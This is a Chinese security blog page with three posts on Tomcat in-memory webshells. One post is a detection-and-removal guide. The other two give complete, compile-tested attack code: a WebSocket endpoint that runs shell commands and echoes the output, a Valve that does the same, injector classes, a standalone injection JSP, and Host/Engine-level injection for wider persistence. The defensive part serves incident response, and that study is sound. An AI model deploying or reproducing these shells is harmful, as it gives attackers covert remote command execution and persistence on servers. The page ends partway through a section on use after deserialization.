Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

未命名

发表于 2026-08-10 |
阅读全文 »

内存马检测与清除实操

发表于 2026-08-07 | 分类于 漏洞分析 |

内存马检测与清除实操

前面各篇回答了”内存马怎么打“,这一篇回答”内存马怎么查、怎么清“。

内存马最难检测的根本原因,在 《内存马原理总纲》 里已经讲过:它用和正常组件完全相同的注册接口,把恶意代码塞进容器运行时注册表,磁盘上什么都没有。所以检测的思路必须反过来——不再看文件,而是看运行时的注册表和代码行为。

本文的清除方法按”能否热移除”分为两类:Filter / Servlet / Listener / Valve / Spring 型可热移除(无需重启);Agent 型无法热移除,只能重启 JVM。这是应急响应的关键判断。


一、检测的整体思路

检测视角 原理 覆盖类型 缺点
文件侧 扫磁盘 webshell 传统 JSP webshell 对内存马完全失效
注册表基线对比 枚举容器当前注册表,与启动基线 diff Filter / Servlet / Listener / Valve / Spring / WebSocket 需要提前有基线;Agent 型看不到
行为检测(RASP) Hook addFilterDef / addValve / defineClass 等注册调用,判断调用栈是否来自启动阶段 全部类型(含 Agent 的 addTransformer / retransformClasses) 需要部署 RASP,有误报

核心结论:单靠一个视角不够,实战是”注册表枚举 + 内存取证 + 行为监控”三管齐下。


二、按类型的检测特征与命令

以下命令以 Arthas 为主(在线、无需重启),vmtool 用于拿容器实例并访问其实例字段。各类型原理详见对应分篇。

2.1 总表

类型 恶意代码藏在哪 一句话判断特征
Filter filterConfigs / filterDefs / filterMaps 出现非业务类名的 Filter
Servlet children + servletMappings 出现未声明的 Wrapper / 路径
Listener applicationEventListenersList 出现非框架的 *Listener
Valve 容器的 Pipeline 出现非 Standard*Valve 的 Valve
Spring adaptedInterceptors / mappingRegistry 多出非业务拦截器 / 路由
WebSocket WsServerContainer 的 endpointPathMap 出现非业务 Endpoint 路径
Agent 类字节码本身(无注册表) 字节码与磁盘 .class 不一致

2.2 Filter

# 列出 StandardContext 的 filterConfigs(实例字段,先拿实例)
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].filterConfigs' --limit 10

# 搜索可疑 Filter 类
sc *.Filter*

判断:filterConfigs 里的 key(filterName)和对应的 filter 实例类名,是否与 web.xml / 注解 / 启动基线一致。类名是否来自非业务 jar、或干脆是个匿名/默认包类,是重要线索。

2.3 Servlet

# 看 children 里有没有未声明的 Wrapper
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].children' --limit 10

# 看 servletMappings 有没有可疑路径
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].servletMappings' --limit 10

判断:业务里没有的路径(如 /shell、/cmd/*)出现在 servletMappings,或 children 里出现陌生 Wrapper。

2.4 Listener

# 看监听器列表
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].applicationEventListenersList' --limit 10

# 搜索可疑 Listener
sc *.*Listener

判断:applicationEventListenersList 里出现非 Spring / 非业务框架的 *Listener(正常只有 Spring 的 ContextLoaderListener 之类的几个)。

2.5 Valve

# 列出管道上的所有 Valve
vmtool --action getInstances --className org.apache.catalina.core.StandardContext \
  --express 'instances[0].getPipeline().getValves()' --limit 10

判断:正常只有 StandardContextValve / StandardHostValve 等内置阀;出现其他 Valve 子类即为可疑。注意也要看 Host / Engine 的 Pipeline(高级 Valve 马会挂在更上层)。

2.6 Spring

// 检测代码:列出所有拦截器与路由
WebApplicationContext ctx =
    WebApplicationContextUtils.getRequiredWebApplicationContext(servletContext);
RequestMappingHandlerMapping mapping = ctx.getBean(RequestMappingHandlerMapping.class);

for (Object interceptor : mapping.getAdaptedInterceptors()) {
    System.out.println("interceptor: " + interceptor.getClass().getName());
}
for (Object handlerMethod : mapping.getHandlerMethods().keySet()) {
    System.out.println("mapping: " + handlerMethod);
}

判断:出现非业务拦截器类;路由表里出现业务没有的路径(如 /evil)。

2.7 WebSocket

# 看注册的 Endpoint 路径
vmtool --action getInstances --className org.apache.tomcat.websocket.server.WsServerContainer \
  --express 'instances[0].getEndpointPathMap()' --limit 5

判断:出现非业务路径(如 /ws)。

2.8 Agent(最难,注册表看不到)

Agent 型内存马不产生任何容器组件,只能两条路:

# 1. 反编译运行时字节码,与磁盘/源码对比
jad org.apache.catalina.core.ApplicationFilterChain
# 出现 Runtime.getRuntime().exec / 插入的变量名等即为 Agent 内存马

# 2. 枚举已注册的 ClassFileTransformer
# 用 attach 一个自写检测 agent,打印所有 transformer 的类名

三、检测工具链与使用时机

工具 用途 时机
Arthas(vmtool / sc / jad) 在线枚举注册表、反编译字节码,不重启 第一现场,优先
jmap dump + MAT / VisualVM 离线内存取证,能挖到被引用但未注册的对象 现场不便操作 / 复盘
JMX(jconsole / jcmd) 看 MBean(Filter/Valve 会注册 MBean) 已开启 JMX 时
RASP 实时拦截注册调用,判断调用栈 常态化防御,而非事后查
# 快速取证:dump 内存(先确认 PID)
jps -l
jmap -dump:live,format=b,file=heap.hprof <pid>
# MAT 里搜 FilterDef / ApplicationFilterConfig / ValveBase / AbstractTranslet 子类

建议流程:jps 确认进程 → Arthas vmtool 逐个枚举注册表 → 可疑项 sc 看类来源 → 必要时 jad 反编译 / jmap dump 留证。


四、清除实操(按类型)

总原则:内存马 = 注册进容器的一个条目,清除 = 把它从注册表撤销。 类型不同,撤销的 API 不同;多数可热移除,Agent 除外。

4.1 可热移除的类型

Filter——从 filterConfigs / filterDefs / filterMaps 三处撤掉:

StandardContext context = ...;   // 反射链拿 context,见 Filter 篇

// 1. 先移除实例配置
context.removeFilterDef(findFilterDef("shell"));

// 2. 移除映射(filterMaps 在较新版本是包私有 ContextFilterMaps,需反射 remove)
Field mapsField = StandardContext.class.getDeclaredField("filterMaps");
mapsField.setAccessible(true);
Object filterMaps = mapsField.get(context);
Method remove = filterMaps.getClass().getMethod("remove", String.class);
remove.setAccessible(true);
remove.invoke(filterMaps, "shell");

// 3. 移除 filterConfigs 中的实例
Field cfField = StandardContext.class.getDeclaredField("filterConfigs");
cfField.setAccessible(true);
((Map<?, ?>) cfField.get(context)).remove("shell");

Servlet——移除 Wrapper 与映射:

Wrapper wrapper = (Wrapper) context.findChild("shell");
context.removeChild(wrapper);      // 从 children 移除
context.removeServletMapping("/shell");  // 从 servletMappings 移除

Listener——一行:

// 遍历找到恶意 listener 实例后移除
context.removeApplicationEventListener(listener);

Valve——一行:

for (Valve valve : context.getPipeline().getValves()) {
    if (valve.getClass().getName().contains("Evil")) {
        context.getPipeline().removeValve(valve);
    }
}
// 若挂在 Host / Engine,用同样的 getPipeline() 往上取再 removeValve

Spring——移除拦截器 / 反注册路由:

// Interceptor
List<HandlerInterceptor> interceptors = /* 反射拿 adaptedInterceptors */;
interceptors.remove(evilInterceptor);

// Controller 路由
mapping.unregisterMapping(info);   // 反注册 /evil

4.2 无法热移除:Agent 型

Agent 型改的是已加载类的字节码,ClassFileTransformer 一旦生效,JVM 里没有”还原”接口。唯一的彻底清除是重启 JVM。

Agent 内存马
  → 枚举 transformer / 字节码 diff 确认(2.8)
  → 无法热移除
  → 备份取证后重启 JVM
  → 启动参数加 -XX:+DisableAttachMechanism,防止再次 attach

4.3 清除有效性对比

类型 能否热移除 清除后是否立即生效
Filter ✅ 下一次请求构建 Filter 链时(立即)
Servlet ✅ 下一次路由时(立即)
Listener ✅ 下一个请求事件(立即)
Valve ✅ 下一个请求进容器(立即)
Spring ✅ 下一次分发(立即)
WebSocket ✅ 下次连接(立即)
Agent ❌ 必须重启 JVM

五、应急处置流程

确认感染(发现可疑注册表条目 / 字节码 diff)
   ↓
① 隔离:断外网 / 摘负载,避免攻击者继续利用
   ↓
② 取证:Arthas 导出注册表快照 + jmap dump 内存 + 收集日志(留痕,勿先删)
   ↓
③ 清除:按第四节热移除;Agent 型重启 JVM
   ↓
④ 复检:清除后再跑一遍第二节的枚举,确认注册表干净
   ↓
⑤ 加固:修复反序列化 / JNDI 等 RCE 入口(事前补洞)
         + 部署 RASP 监控注册调用(事中)
         + 建立启动基线,周期性对比(事后)

关键提醒:先取证、后清除。热移除会把这个对象从内存里抹掉,若没先 dump 留证,攻击者代码就丢了,不利于溯源和复盘。


总结

类型 检测入口 清除手段
Filter filterConfigs 枚举 removeFilterDef + 反射移除 map
Servlet children / servletMappings removeChild + removeServletMapping
Listener applicationEventListenersList removeApplicationEventListener
Valve getPipeline().getValves() removeValve
Spring adaptedInterceptors / handlerMethods list.remove / unregisterMapping
WebSocket endpointPathMap 反注册 Endpoint
Agent 字节码 diff / transformer 枚举 重启 JVM(唯一)

三句话收尾:

  1. 内存马检测看注册表,不看文件——枚举容器当前注册表,与启动基线对比;
  2. 大部分可热移除,Agent 只能重启——判断类型决定处置方式;
  3. 先取证再清除,防御靠事前——RCE 入口不补,清完还会再进来。
延伸阅读:《内存马原理总纲》 《反序列化与 JNDI 无文件注入内存马》 各类型分篇的”检测方式 / 防御建议”章节:Filter Listener Valve Agent
阅读全文 »

WebSocket / Executor / Upgrade 内存马(偏门型)

发表于 2026-08-06 | 分类于 漏洞分析 |

WebSocket / Executor / Upgrade 内存马(偏门型)

前面几篇覆盖了 Filter / Servlet / Listener / Valve / Spring 五种主流类型。本篇补三个偏门型:

类型 原理 实战频率 说明
WebSocket 型 往 WsServerContainer 注册恶意 Endpoint 低 流量走 WebSocket 协议,HTTP 日志不可见
Executor 型 替换 Tomcat 线程池的线程工厂/执行器 极低 版本差异大,命令获取困难,多为概念验证
Upgrade 型 注册恶意 HttpUpgradeHandler / UpgradeProtocol 极低 需触达协议对象,版本差异极大

其中 WebSocket 型代码完整可用,Executor / Upgrade 型给出可编译的示意代码并如实标注局限。

本文代码已用 Tomcat 9.0.100(javax)与 10.1.34(jakarta)真实编译验证。

本质:模拟 WsServerContainer.addEndpoint,把恶意 Endpoint + /ws 路径组装进 WebSocket 容器;流量走 WebSocket 协议,HTTP 日志不可见。整体框架见 《内存马原理总纲》。


一、WebSocket 型内存马

1.1 WebSocket 在 Tomcat 中的位置

Tomcat 内置 WebSocket 实现(org.apache.tomcat.websocket.*),启动时向每个 Web 应用的 ServletContext 注册一个 WsServerContainer 属性。WebSocket 请求走 Upgrade 流程,不产生普通 HTTP 访问日志:

HTTP Upgrade: websocket
    ↓
Tomcat WebSocket 容器(WsServerContainer)
    ↓
路径匹配已注册的 Endpoint(@ServerEndpoint("/ws"))
    ↓
@OnOpen / @OnMessage 回调

1.2 动态注册原理

WsServerContainer.addEndpoint(Class<?>) 是 public 方法,把带 @ServerEndpoint("/ws") 注解的类注册成 WebSocket 端点:

// ServletContext 属性名:Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
// javax 版为 "javax.websocket.server.ServerContainer"
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
        "javax.websocket.server.ServerContainer");
container.addEndpoint(EvilEndpoint.class);

隐蔽性:注册在 WebSocket 容器里,不在 Filter/Listener/Valve 的注册表;客户端通过 WebSocket 协议交互,HTTP 访问日志看不到任何痕迹。


二、WebSocket 完整代码实现

2.1 恶意 Endpoint(javax / Tomcat 8.5 / 9.x)

import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;

@ServerEndpoint("/ws")
public class EvilEndpoint {

    @OnOpen
    public void onOpen(Session session) {
        System.out.println("[+] WebSocket connected: " + session.getId());
    }

    @OnMessage
    public String onMessage(String message) {
        try {
            String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                    ? new String[]{"cmd.exe", "/c", message}
                    : new String[]{"/bin/sh", "-c", message};

            Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
            try (ByteArrayOutputStream out = new ByteArrayOutputStream();
                 InputStream is = process.getInputStream()) {
                byte[] buf = new byte[4096];
                int len;
                while ((len = is.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                process.waitFor();
                return out.toString(System.getProperty("sun.jnu.encoding"));
            }
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

@OnMessage 返回 String 时,返回值会自动作为消息回发给客户端——天然实现命令回显。

2.2 注入器(javax)

import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.servlet.ServletContext;
import javax.websocket.DeploymentException;

public class WebSocketMemShellInjector {

    public static void inject(ServletContext servletContext) throws Exception {
        // 属性名见 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
        WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
                "javax.websocket.server.ServerContainer");
        if (container == null) {
            throw new IllegalStateException("WsServerContainer not found");
        }
        try {
            container.addEndpoint(EvilEndpoint.class);
            System.out.println("[+] WebSocket endpoint /ws registered.");
        } catch (DeploymentException e) {
            // 同路径已注册即视为已注入(防重复)
            System.out.println("[!] Endpoint already registered: " + e.getMessage());
        }
    }
}

2.3 触发注入

<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%
    WebSocketMemShellInjector.inject(application);
    out.println("[+] WebSocket /ws injected!");
%>

客户端使用:

# 任意 WebSocket 客户端(如 Python websocket-client / wscat)
# 连接 ws://target/你的应用上下文/ws ,发命令即执行并回显
> whoami
root
> id
uid=0(root) gid=0(root) ...

2.4 jakarta(Tomcat 10+)版本差异

// javax(Tomcat 8.5 / 9.x)
import javax.websocket.server.ServerEndpoint;
import javax.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");

// jakarta(Tomcat 10.x / 11.x)—— 包名 + 属性名字符串都换
import jakarta.websocket.server.ServerEndpoint;
import jakarta.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("jakarta.websocket.server.ServerContainer");

三、WebSocket 代码详解

3.1 ServletContext 属性名

Tomcat 把 WsServerContainer 挂在 ServletContext 属性上,key 就是 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE:javax 版 "javax.websocket.server.ServerContainer",jakarta 版 "jakarta.websocket.server.ServerContainer"。注入时直接按属性名取。

3.2 addEndpoint 防重复

同路径的 Endpoint 注册两次会抛 DeploymentException(”A WebSocket Endpoint with the path /ws is already registered”),所以用它做防重复判断。

3.3 流量特征

  • 建立连接:GET .../ws + Upgrade: websocket 头(仅 1 条握手日志,后续均为二进制帧,常规访问日志不可见)。
  • 命令交互走 WebSocket 帧,WAF 对 HTTP 参数的特征检测基本失效。

四、Executor 型(概念 + 局限)

4.1 原理

Tomcat 的 NioEndpoint 维护一个线程池(java.util.concurrent.Executor)处理请求。如果把它替换成恶意实现(或在它的线程工厂里做手脚),每次线程创建/任务执行时就能插入逻辑。AbstractEndpoint.getExecutor()/setExecutor() 是公开 API。

4.2 可编译示意代码(EvilThreadFactory)

import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;

/**
 * Executor 型(概念示意):恶意 ThreadFactory。
 * 每次创建一个工作线程就执行一次命令(命令可换成从全局/内存读取的动态值)。
 */
public class EvilThreadFactory implements ThreadFactory {

    private final AtomicInteger count = new AtomicInteger(0);

    @Override
    public Thread newThread(Runnable r) {
        Thread t = new Thread(r, "tomcat-exec-" + count.incrementAndGet());
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "id"});
        } catch (Exception ignored) {
        }
        return t;
    }
}

4.3 局限(如实说明)

  • 每次线程创建都执行,命令无法按需动态下发,只能干固定的事(除非配合其它手段读命令源);
  • 替换 NioEndpoint 的线程工厂需要先触达 Endpoint 对象,且线程池已在运行,替换时机/生命周期处理复杂;
  • 不同版本 Endpoint 内部结构差异大,实战中几乎见不到 Executor 型内存马。

五、Upgrade 型(概念 + 局限)

5.1 原理

Servlet 规范提供 HttpUpgradeHandler:Servlet 调用 request.upgrade(EvilUpgradeHandler.class) 后,连接交给该 Handler 接管。Tomcat 底层还有协议级 UpgradeProtocol(AbstractHttp11Protocol.getHttpUpgradeProtocols())。如果能在运行中注册恶意 Handler / Protocol,即可接管升级后的连接。

5.2 可编译示意代码(javax)

import javax.servlet.http.HttpUpgradeHandler;
import javax.servlet.http.WebConnection;
import java.io.InputStream;

/**
 * Upgrade 型(概念示意):恶意 HttpUpgradeHandler。
 * 被 request.upgrade(EvilUpgradeHandler.class) 触发后接管连接。
 */
public class EvilUpgradeHandler implements HttpUpgradeHandler {

    @Override
    public void init(WebConnection wc) {
        try {
            InputStream is = wc.getInputStream();
            byte[] buf = new byte[4096];
            int len = is.read(buf);
            if (len > 0) {
                String cmd = new String(buf, 0, len).trim();
                Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            }
        } catch (Exception ignored) {
        }
    }

    @Override
    public void destroy() {
    }
}

5.3 局限(如实说明)

  • upgrade() 需要先有代码执行来调用它,且通常绑定到某个 Servlet 路径上;
  • 协议级 UpgradeProtocol 的注册点(httpUpgradeProtocols map)在 Tomcat 8.5 / 9 / 10 之间差异很大;
  • 实战价值低,多作为概念研究,检测时注意它本质仍是”替换/注册了协议处理器”。

六、检测方式

6.1 WebSocket Endpoint 枚举

// 列出已注册的 WebSocket Endpoint(有内部 map 可遍历)
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
        "javax.websocket.server.ServerContainer");
// 用 JMX/Arthas 观察 WsWebSocketContainer 的 endpointPathMap 是否有非业务路径
# Arthas:看 WsServerContainer 里注册了哪些路径
vmtool --action getInstances --className org.apache.tomcat.websocket.server.WsServerContainer \
  --express 'instances[0].getEndpointPathMap()' --limit 5

6.2 基线对比

把应用启动时的 WebSocket 路径 / 线程工厂 / 升级协议列表存为基线,运行时对比异常项。

6.3 流量侧

WebSocket 握手日志里出现未知路径(如 /ws),或 Upgrade 连接的客户端行为异常,可作为线索。


七、防御建议

层面 措施 说明
RASP Hook WsServerContainer.addEndpoint 拦截运行时注册恶意 Endpoint
RASP Hook setExecutor / HttpUpgradeHandler 拦截线程池与升级协议替换
WebSocket 关闭不用的 WebSocket 端点 / 鉴权 即使注册了也无法未授权连接
事前 修复反序列化等 RCE 漏洞 切断注入入口

八、总结

三种偏门型内存马的地位:

类型 代码成熟度 实战价值 隐蔽性
WebSocket 高(完整可用) 中低 高(HTTP 日志不可见)
Executor 低(概念示意) 极低 高
Upgrade 低(概念示意) 极低 高

一句话:WebSocket 型在”不想留 HTTP 流量痕迹”时有价值且实现简单;Executor / Upgrade 型属于研究向,实战极少,了解原理即可,防御上仍是”修复 RCE 入口 + RASP 监控注册行为”为主。

延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马
阅读全文 »

Tomcat Valve 内存马

发表于 2026-08-06 | 分类于 漏洞分析 |

Valve 内存马

Valve 型内存马是 Tomcat 特有的内存马类型。它利用 Tomcat 的 Pipeline-Valve(管道-阀门)机制,把恶意 Valve 动态挂载到容器的管道上,拦截经过该容器的所有请求。

与 Filter / Servlet / Listener 三种基于 Servlet 规范的内存马相比,Valve 更底层、更隐蔽:

  • 不属于 Servlet 规范,很多安全产品只监控 Filter/Listener 的注册,不检查 Valve;
  • 不需要任何 URL 映射,请求进入容器(包括 404、静态资源)都会经过它;
  • 回显不需要反射,invoke 直接拿到内部 connector.Request / Response。

本文代码已用 Tomcat 9.0.100(javax)与 Tomcat 10.1.34(jakarta)真实编译验证。

本质:模拟 Pipeline.addValve,把恶意 invoke 代码 + “请求进入容器”组装进管道,比 Filter 更底层、无需 URL 映射。整体框架见 《内存马原理总纲》。


一、Tomcat Pipeline-Valve 架构

1.1 Valve 在请求处理中的位置

Tomcat 的请求处理采用责任链模式:四大容器 Engine / Host / Context / Wrapper 每个都持有一条 Pipeline,管道上挂着一串 Valve。请求按 Engine → Host → Context → Wrapper 逐层穿过各容器的 Valve 管道,最后由 Wrapper 的管道进入 Servlet。

HTTP 请求
    ↓
CoyoteAdapter.service()
    ↓
Engine  Pipeline   → StandardEngineValve(基础阀)
    ↓
Host    Pipeline   → StandardHostValve(基础阀)
    ↓
Context Pipeline   → StandardContextValve(基础阀)
    ↓
Wrapper Pipeline   → StandardWrapperValve(基础阀)
    ↓
ApplicationFilterChain → Filter 链 → Servlet

关键点:

  • 每个容器即使不添加任何自定义 Valve,也至少有一个基础阀(basic)完成容器核心职责(调用子容器、调用 Servlet)。
  • Valve 在 Filter 之前执行,且不需要 URL 映射——只要请求流经该容器就会触发。

1.2 核心类关系

Container(org.apache.catalina.Container)
├── getPipeline(): Pipeline        ← 容器的管道
├── getParent(): Container         ← 向上取父容器(Context→Host→Engine)
└── 实现类:
    ├── StandardEngine
    ├── StandardHost
    ├── StandardContext
    └── StandardWrapper

Pipeline(org.apache.catalina.Pipeline)
├── addValve(Valve)                ← 动态挂载(public,无需反射)
├── getValves(): Valve[]
├── getFirst(): Valve
└── removeValve(Valve)

Valve(org.apache.catalina.Valve)
└── invoke(Request, Response)      ← 拦截逻辑写在这里

ValveBase(org.apache.catalina.valves.ValveBase)
└── 抽象类,封装生命周期/MBean;继承后重写 invoke() 即可

1.3 Valve 与 Filter 的核心差异

对比维度 Filter 内存马 Valve 内存马
是否 Servlet 规范 ✅ 是 ❌ 否(Tomcat 特有)
触发层级 Context(应用级) Context / Host / Engine / Wrapper 任意层
是否需要 URL 映射 需要(如 /*) 不需要
拿到的请求对象 RequestFacade(门面) 内部 connector.Request
回显 需两步反射 直接 response.getWriter()
注入步骤 FilterDef/FilterMap/FilterConfig 多步 一行 addValve()
隐蔽性 中 高

二、动态注册原理

2.1 Pipeline 是单向链表

Valve 通过 getNext() 串成链表,invoke() 里必须调用 getNext().invoke(request, response),否则请求链中断(等价于 Filter 里忘记 chain.doFilter()):

[Valve A] → [Valve B] → ... → [基础阀] → 下层容器 / Servlet

StandardPipeline.addValve() 会把新 Valve 挂到链上(插入在基础阀之前)。容器已启动时,运行时添加的 Valve 下一次请求即可生效。

2.2 动态注册步骤

1. 编写恶意 Valve 类(继承 ValveBase,重写 invoke)
2. 获取 StandardContext 对象(反射链,同 Filter 篇)
3. 调用 context.getPipeline().addValve(maliciousValve)
4. 可选:通过 context.getParent() 向上取 Host / Engine,注入更高层级

三、完整代码实现

3.1 恶意 Valve 类(javax / Tomcat 8.5 / 9.x)

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

public class ValveMemShell extends ValveBase {

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // 注意:Valve 的 invoke 直接拿到的是内部 connector.Request / Response,
        // 取参数、回显都不需要反射(这是与 Filter/Listener 的重要区别)
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            try {
                String result = exec(cmd);
                response.setContentType("text/html;charset=UTF-8");
                response.getWriter().write("<pre>" + result + "</pre>");
                return; // 命令执行型:直接返回,不进入后续业务
            } catch (Exception e) {
                response.getWriter().write("Error: " + e.getMessage());
            }
        }
        // 正常请求继续沿管道传递(必须调用 getNext().invoke(),否则管道中断)
        getNext().invoke(request, response);
    }

    /**
     * 统一命令执行器(与 Filter / Servlet / Listener 三篇通用)
     */
    private static String exec(String cmd) throws Exception {
        String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
                ? new String[]{"cmd.exe", "/c", cmd}
                : new String[]{"/bin/sh", "-c", cmd};

        Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
             InputStream is = process.getInputStream()) {
            byte[] buf = new byte[4096];
            int len;
            while ((len = is.read(buf)) != -1) {
                out.write(buf, 0, len);
            }
            process.waitFor();
            return out.toString(System.getProperty("sun.jnu.encoding"));
        }
    }
}

3.2 注入器代码(javax)

import org.apache.catalina.Valve;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.connector.Request;

import java.lang.reflect.Field;

public class ValveMemShellInjector {

    /**
     * 注入到当前 Context 的 Pipeline
     */
    public static void inject(StandardContext context) {
        // 防重复:遍历管道已有 Valve,判断是否已注入
        for (Valve valve : context.getPipeline().getValves()) {
            if (valve instanceof ValveMemShell) {
                System.out.println("[!] Valve already injected.");
                return;
            }
        }
        // addValve() 是 ContainerBase 的 public 方法,无需反射
        context.getPipeline().addValve(new ValveMemShell());
        System.out.println("[+] Valve memory shell injected.");
    }

    /**
     * 注入到 Host / Engine 级(影响范围更大,也更影响正常业务)
     */
    public static void injectUpper(StandardContext context) {
        // Host 级:该 Host 下所有应用的所有请求都经过
        org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
        host.getPipeline().addValve(new ValveMemShell());

        // Engine 级:整个 Tomcat 实例的所有请求都经过
        org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
        engine.getPipeline().addValve(new ValveMemShell());
    }

    /**
     * 从 RequestFacade 反射获取 StandardContext(与 Filter / Servlet 篇相同链)
     */
    public static StandardContext getStandardContext(Object servletRequest) throws Exception {
        Field requestField = servletRequest.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(servletRequest);
        return (StandardContext) request.getContext();
    }
}

3.3 层级扩展:Context / Host / Engine

// Context 级:只影响当前 Web 应用(推荐,误伤最小)
StandardContext context = ValveMemShellInjector.getStandardContext(request);
context.getPipeline().addValve(new ValveMemShell());

// Host 级:该 Host 下所有应用(context.getParent() → StandardHost)
org.apache.catalina.Host host = (org.apache.catalina.Host) context.getParent();
host.getPipeline().addValve(new ValveMemShell());

// Engine 级:整个 Tomcat 实例(host.getParent() → StandardEngine)
org.apache.catalina.Engine engine = (org.apache.catalina.Engine) host.getParent();
engine.getPipeline().addValve(new ValveMemShell());

层级越高影响面越大,隐蔽性也越高(不在任何应用的注册表里),但对正常业务的干扰也越大,需谨慎。

3.4 触发注入的 JSP(自包含,内联恶意 Valve)

为了让 JSP 单独即可完成注入(不依赖额外编译的类),这里把恶意 Valve 内联在 <%! %> 声明里:

<%@ page import="java.io.*, org.apache.catalina.connector.*, org.apache.catalina.core.*" %>
<%!
    // 内联恶意 Valve:JSP 单独即可完成注入
    public class EvilValve extends org.apache.catalina.valves.ValveBase {
        @Override
        public void invoke(Request request, Response response)
                throws java.io.IOException, javax.servlet.ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                try {
                    Process p = new ProcessBuilder("/bin/sh", "-c", cmd)
                            .redirectErrorStream(true).start();
                    ByteArrayOutputStream out = new ByteArrayOutputStream();
                    byte[] buf = new byte[4096];
                    int len;
                    InputStream is = p.getInputStream();
                    while ((len = is.read(buf)) != -1) out.write(buf, 0, len);
                    response.getWriter().write("<pre>" + out.toString("UTF-8") + "</pre>");
                    return;
                } catch (Exception e) {
                    response.getWriter().write("Error: " + e.getMessage());
                }
            }
            getNext().invoke(request, response);
        }
    }
%>
<%
    try {
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();
        context.getPipeline().addValve(new EvilValve());
        out.println("Valve memory shell injected! 访问: ?cmd=whoami");
    } catch (Exception e) {
        out.println("Failed: " + e.getMessage());
    }
%>

3.5 jakarta(Tomcat 10+)版本差异

org.apache.catalina 包名在 Tomcat 10+ 没有改,只有 Servlet 规范包从 javax.servlet 迁移到了 jakarta.servlet。因此 Valve 内存马仅需改一行:

// javax(Tomcat 8.5 / 9.x)
import javax.servlet.ServletException;

// jakarta(Tomcat 10.x / 11.x)—— 只需替换这一处
import jakarta.servlet.ServletException;

注入器(connector.Request、Pipeline、ValveBase 等)两个版本完全一致。


四、代码详解

4.1 invoke 直接拿到内部 Request/Response —— 回显无需反射

Valve 的 invoke(Request, Response) 参数是内部 org.apache.catalina.connector.Request / Response,不是给业务代码用的门面对象。这意味着:

// Filter/Listener 回显:RequestFacade → request 字段 → response 字段(两步反射)
Field reqField = servletRequest.getClass().getDeclaredField("request");
...
Field responseField = innerRequest.getClass().getDeclaredField("response");
...

// Valve 回显:直接写(connector.Response 实现了 HttpServletResponse)
response.getWriter().write("<pre>" + result + "</pre>");

connector.Response 直接实现了 javax.servlet.http.HttpServletResponse(javax 版)/ jakarta.servlet.http.HttpServletResponse(jakarta 版),getWriter() 可直接使用。

4.2 addValve 是 public 方法,无需反射

ContainerBase.addValve(Valve) 是 public 的,StandardPipeline.addValve() 也是 public 的。拿到 StandardContext 后一行即可完成注入,这是 Valve 型内存马注入步骤最少的原因(对比 Filter 需要 FilterDef / FilterMap / ApplicationFilterConfig 三步构造)。

4.3 防重复注入

for (Valve valve : context.getPipeline().getValves()) {
    if (valve instanceof ValveMemShell) {
        return; // 已注入
    }
}

4.4 层级选择

层级 获取方式 影响范围 适用
Wrapper context.getParent()(某 Servlet 的 Wrapper) 单个 Servlet 极少用
Context req.getContext() 当前应用 推荐,误伤最小
Host context.getParent() Host 下所有应用 持久化
Engine host.getParent() 整个 Tomcat 隐蔽性最高

4.5 版本兼容性

Tomcat 版本 Servlet 包 Valve 代码差异
8.5.x / 9.x javax.servlet import javax.servlet.ServletException
10.x / 11.x jakarta.servlet import jakarta.servlet.ServletException
  • 容器内部 API(org.apache.catalina.*、connector.Request/Response、ValveBase)在 Tomcat 10+ 未改包名,仅上述 import 差异。
  • 本文代码已分别用 Tomcat 9.0.100 与 10.1.34 编译验证。

五、利用场景

5.1 反序列化 → Valve 注入

Shiro / Fastjson 反序列化拿到代码执行后,注入 Valve 实现持久化:

// 反序列化 payload 中的代码片段
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
context.getPipeline().addValve(new EvilValve());

